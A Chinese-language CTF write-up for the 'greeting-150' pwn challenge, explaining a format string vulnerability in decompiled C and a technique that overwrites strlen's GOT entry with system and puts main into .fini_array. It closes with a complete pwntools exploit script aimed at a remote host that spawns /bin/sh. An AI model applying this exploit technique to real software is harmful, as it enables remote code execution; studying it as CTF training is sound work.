格式化字符串漏洞,main函數(shù)中邏輯寫的很清晰:
void main(void)
{
int iVar1;
int in_GS_OFFSET;
char local_94 [64];
undefined local_54 [64];
int local_14;
local_14 = *(int *)(in_GS_OFFSET + 0x14);
printf("Please tell me your name... ");
iVar1 = getnline(local_54,0x40);
if (iVar1 == 0) {
puts("Don\'t ignore me ;( ");
}
else {
sprintf(local_94,"Nice to meet you, %s :)\n",local_54);
printf(local_94);
}
if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
__stack_chk_fail();
}
return;
}
可做任意地址寫,再看getnline函數(shù)邏輯:
void getnline(char *param_1,int param_2)
{
char *pcVar1;
fgets(param_1,param_2,stdin);
pcVar1 = strchr(param_1,10);
if (pcVar1 != (char *)0x0) {
*pcVar1 = '\0';
}
strlen(param_1);
return;
}
strlen函數(shù)使用的很奇怪,可以考慮把got表中strlen位置改為system函數(shù)的地址,這時控制流需要回到main函數(shù)中去,所以格式化字符串任意寫需要完成兩件事:寫strlen的got表為system,讓控制流回到main。
這題還考察了fini_array的使用,elf格式的可執(zhí)行文件執(zhí)行在main函數(shù)前執(zhí)行.init段的指令,終止前執(zhí)行.fini段的指令,可參考init and fini section。fini_array使用的優(yōu)先級高于fini段,其中包含了程序結(jié)束前需要執(zhí)行函數(shù)的地址,并且倒序執(zhí)行,參考When will the .fini_array section being used?,改變控制流只需要在fini_array中寫入main函數(shù)地址。
找完offset后可以寫exp,在offset前需要填入2bytes以對齊:
from pwn import *
context(log_level="debug", arch="i386", os="linux")
elf = ELF("./greeting-150")
# r = process("./greeting-150")
r = remote("111.200.241.244", 56542)
fini_array = 0x8049934
payload = b'BB' + p32(fini_array) + p32(elf.got["strlen"])
payload += "%{}c".format(0xed - len(payload) - 0x12).encode("utf-8") + b"%12$hhn"
# 0x12 is 'Nice to meet you, '
payload += "%{}c".format(elf.plt["system"] - 0xed).encode("utf-8") + b"%13$n"
r.recvuntil(b"Please tell me your name... ")
r.sendline(payload)
r.sendline(b"/bin/sh")
r.interactive()